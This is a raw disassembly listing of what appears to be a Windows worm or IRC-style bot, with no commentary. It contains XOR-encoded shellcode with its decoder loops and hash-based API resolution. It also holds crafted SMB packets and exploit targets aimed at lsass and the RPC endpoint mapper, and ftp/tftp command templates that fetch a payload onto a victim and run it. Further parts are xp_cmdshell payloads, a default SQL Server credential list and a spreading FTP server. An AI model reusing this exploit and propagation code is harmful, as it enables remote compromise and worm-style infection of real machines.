loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 2 dup(0) word_424F58 dw 0AD9Dh ; DATA XREF: sub_40283D+30r ; sub_402988+E3r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_424F98 dd 1004600h ; sub_402988+240r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_425050 dd 0A0D7325h, 0 ; sub_4036EB+102o ... aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e' ; DATA XREF: sub_40283D+A4o db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0 ; --------------------------------------------------------------------------- loc_4250BC: ; DATA XREF: sub_402988+171o ; sub_40384C+177o jmp short loc_4250C4 ; --------------------------------------------------------------------------- jmp short loc_4250C6 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_4250C4: ; CODE XREF: seg002:loc_4250BCj ; DATA XREF: sub_402988+27o ... pop esp pop esp loc_4250C6: ; CODE XREF: seg002:004250BEj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_4250D0 dd 1CEC8166h ; sub_40384C+Dr dword_4250D4 dd 0E4FF07h ; sub_40384C+16r dword_4250D8 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; sub_4033CB+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_425124 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_403178+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_425488 dd 20h, 0 dd 20h, 5C005Ch, 0 off_42549C dd offset aEage ; DATA XREF: sub_403178+15Do ; "eage" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_4254DC dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_403178+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_4255EC dd 18759Fh dword_4255F0 dd 100139Dh asc_4255F4: ; DATA XREF: sub_402FDD+1Co ; sub_4030C0+16o unicode 0, <\\>,0 align 4 aIpc: ; DATA XREF: sub_402FDD+Co ; sub_4030C0+Bo unicode 0, <\IPC$>,0 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o align 10h jmp short loc_425632 ; =============== S U B R O U T I N E ======================================= sub_425622 proc far ; CODE XREF: sub_425622:loc_425632p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_42562A: ; CODE XREF: sub_425622+Cj xor byte ptr [ebx+ecx], 99h loop loc_42562A jmp short loc_425637 ; --------------------------------------------------------------------------- loc_425632: ; CODE XREF: seg002:00425620j call near ptr sub_425622 loc_425637: ; CODE XREF: sub_425622+Ej jo short loc_42569B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_4256B9 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_42569B: ; CODE XREF: sub_425622:loc_425637j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_4256B9: ; CODE XREF: sub_425622+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_425622 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_425760: ; DATA XREF: sub_40384C+156o ; sub_40384C+212o jmp short loc_425772 ; =============== S U B R O U T I N E ======================================= sub_425762 proc near ; CODE XREF: sub_425762:loc_425772p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_42576A: ; CODE XREF: sub_425762+Cj xor byte ptr [edx+ecx], 99h loop loc_42576A jmp short loc_425777 ; --------------------------------------------------------------------------- loc_425772: ; CODE XREF: seg002:loc_425760j call sub_425762 loc_425777: ; CODE XREF: sub_425762+Ej jo short near ptr dword_4256F0+1Eh cwde cdq cdq retn sub_425762 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_425810 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40384C+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4258F8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403C8B+85o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_425984 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C8B+B1o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 10h dword_425A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C8B+D8o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_425B10 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40384C+8Ao unicode 0, <C$>,0 a?????_0 db '?????',0 dd 0 dword_425B74 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_425BE0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_425C84 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_425D04 dd offset loc_401495 ; DATA XREF: sub_40384C+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset dword_406DE4+298h dd 1, 0 dd 1, 0 dd offset dword_406DE4+298h dd 1, 0 dd 1, 0 dd offset dword_406DE4+298h dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_425D98 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_425E04 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_425E78 dd 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_425F38 dd 1004600h ; sub_40384C+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4036EB+BEo ; sub_4051A0+9Do db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_404108+B2o align 4 dword_42607C dd 10FF8h, 0 dword_426084 dd 10FF8h dword_426088 dd 7FFDF020h, 0 dword_426090 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_426118 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_426148 dd 0 dd 800000D4h, 0 unk_426154 db 81h ; ; DATA XREF: sub_40460C+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_4261A0 db 41h ; DATA XREF: sub_4046AA+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_4261E4 proc near ; DATA XREF: seg000:00404987o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4262E0 push dword ptr [esi] push 63D61209h call sub_4262F6 mov [esi+8], eax call sub_4262A9 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4262F6 mov [esi+0Ch], eax call sub_42625B push dword ptr [esi+4] push 4C0297FAh call sub_4262F6 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4261E4 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; CODE XREF: sub_4261E4+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_426284 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_42625B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426284 proc near ; CODE XREF: sub_42625B+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_426293: ; CODE XREF: sub_426284+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4262A0 inc ebx jmp short loc_426293 ; --------------------------------------------------------------------------- loc_4262A0: ; CODE XREF: sub_426284+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_426284 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262A9 proc near ; CODE XREF: sub_4261E4+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4262C1: ; CODE XREF: sub_4262A9+1Ej cmp [ecx], ebx jz short loc_4262C9 mov ecx, [ecx] jmp short loc_4262C1 ; --------------------------------------------------------------------------- loc_4262C9: ; CODE XREF: sub_4262A9+1Aj mov edx, edi loc_4262CB: ; CODE XREF: sub_4262A9+2Aj cmp [edx+4], ebx jz short loc_4262D5 mov edx, [edx+4] jmp short loc_4262CB ; --------------------------------------------------------------------------- loc_4262D5: ; CODE XREF: sub_4262A9+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4262A9 endp ; =============== S U B R O U T I N E ======================================= sub_4262E0 proc near ; CODE XREF: sub_4261E4+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4262E0 endp ; =============== S U B R O U T I N E ======================================= sub_4262F6 proc near ; CODE XREF: sub_4261E4+16p ; sub_4261E4+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_42630C: ; CODE XREF: sub_4262F6+33j jecxz short loc_426346 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_426319: ; CODE XREF: sub_4262F6+2Dj lodsb cmp al, ah jz short loc_426325 ror edi, 0Dh add edi, eax jmp short loc_426319 ; --------------------------------------------------------------------------- loc_426325: ; CODE XREF: sub_4262F6+26j cmp edi, [esp+20h+arg_0] jnz short loc_42630C mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_426346: ; CODE XREF: sub_4262F6:loc_42630Cj ; sub_4262F6:loc_426346j jmp short loc_426346 sub_4262F6 endp ; --------------------------------------------------------------------------- dd 0 ; =============== S U B R O U T I N E ======================================= sub_42634C proc near ; DATA XREF: seg000:00404937o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42639E mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_426369: ; CODE XREF: sub_42634C+38j jecxz short loc_426399 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_426374: ; CODE XREF: sub_42634C+32j lodsb test al, al jz short loc_426380 ror edx, 0Dh add edx, eax jmp short loc_426374 ; --------------------------------------------------------------------------- loc_426380: ; CODE XREF: sub_42634C+2Bj cmp edx, [esp+arg_0] jnz short loc_426369 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_426399: ; CODE XREF: sub_42634C:loc_426369j mov [esp+arg_0], ebx retn sub_42634C endp ; =============== S U B R O U T I N E ======================================= sub_42639E proc near ; CODE XREF: sub_42634C+7p ; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4263B7 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_4263B7: ; CODE XREF: sub_42639E+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4263C2: ; CODE XREF: sub_42639E+14j pop edi xor esi, esi pusha push esi jmp short loc_4263D6 sub_42639E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4263C9 proc near ; CODE XREF: sub_42639E:loc_4263D6p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4263C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42639E loc_4263D6: ; CODE XREF: sub_42639E+29j call sub_4263C9 loc_4263DB: ; DATA XREF: sub_4040AD+1Bo ; seg000:0040D652o ... add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42639E ; --------------------------------------------------------------------------- db 3 dup(0) dword_4263E0 dd 60h dword_4263E4 dd 62B0606h, 2050501h, 0A0hdword_4263F0 dd 30h ; seg002:0042C574o ... dword_4263F4 dd 0A1h dword_4263F8 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_404108+153o align 4 loc_426404: ; DATA XREF: sub_404108+E8o jmp short near ptr dword_42640C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_42640C dd 0 dword_426410 dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: seg000:0040495Co db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+190o align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: sub_404F08+15Co db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: sub_404F08+C8o align 10h aAdmin db 'admin',0 ; DATA XREF: sub_404F08+2Bo ; seg002:0042C2E8o align 4 aRoot db 'root',0 ; DATA XREF: sub_404F08+24o ; seg002:0042C2F0o ... align 10h aSa db 'sa',0 ; DATA XREF: sub_404F08+19o align 4 dword_426584 dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h ; DATA XREF: seg000:00405377o db 1Ah ; --------------------------------------------------------------------------- loc_426595: ; CODE XREF: seg002:0042659Cj mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_426595 ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl ; --------------------------------------------------------------------------- dw 28CDh dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h dd 0D560h word_4266D8 dw 7A69h ; DATA XREF: sub_4051A0+30r align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:004059BAo aQuit db 'QUIT',0 ; DATA XREF: seg000:004059A6o ; seg000:0040D36Do align 10h a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: seg000:00405999o align 4 dword_426724 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:0040594Eo dd 2029206Ch, 2BBBB02h aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.' db 0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:0040592Fo a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: seg000:00405903o align 4 aRetr db 'RETR',0 ; DATA XREF: seg000:004058EBo align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:004058D6o align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: seg000:004058C5o aXX db '%x%x',0Ah,0 ; DATA XREF: seg000:00405892o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00405851o db ']',0 aPort db 'PORT',0 ; DATA XREF: seg000:00405818o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:004057EAo align 4 aList db 'LIST',0 ; DATA XREF: seg000:004057D7o align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: seg000:0040579Co align 10h aPasv db 'PASV',0 ; DATA XREF: seg000:00405789o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:00405779o aI: ; DATA XREF: seg000:00405765o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:0040573Eo aA: ; DATA XREF: seg000:0040572Ao unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: seg000:00405713o ; seg000:0040574Eo align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:00405703o align 10h off_4268E0 dd offset dword_445750 ; DATA XREF: seg000:004056EFo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:004056DFo align 4 aRest db 'REST',0 ; DATA XREF: seg000:004056CBo align 10h a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: 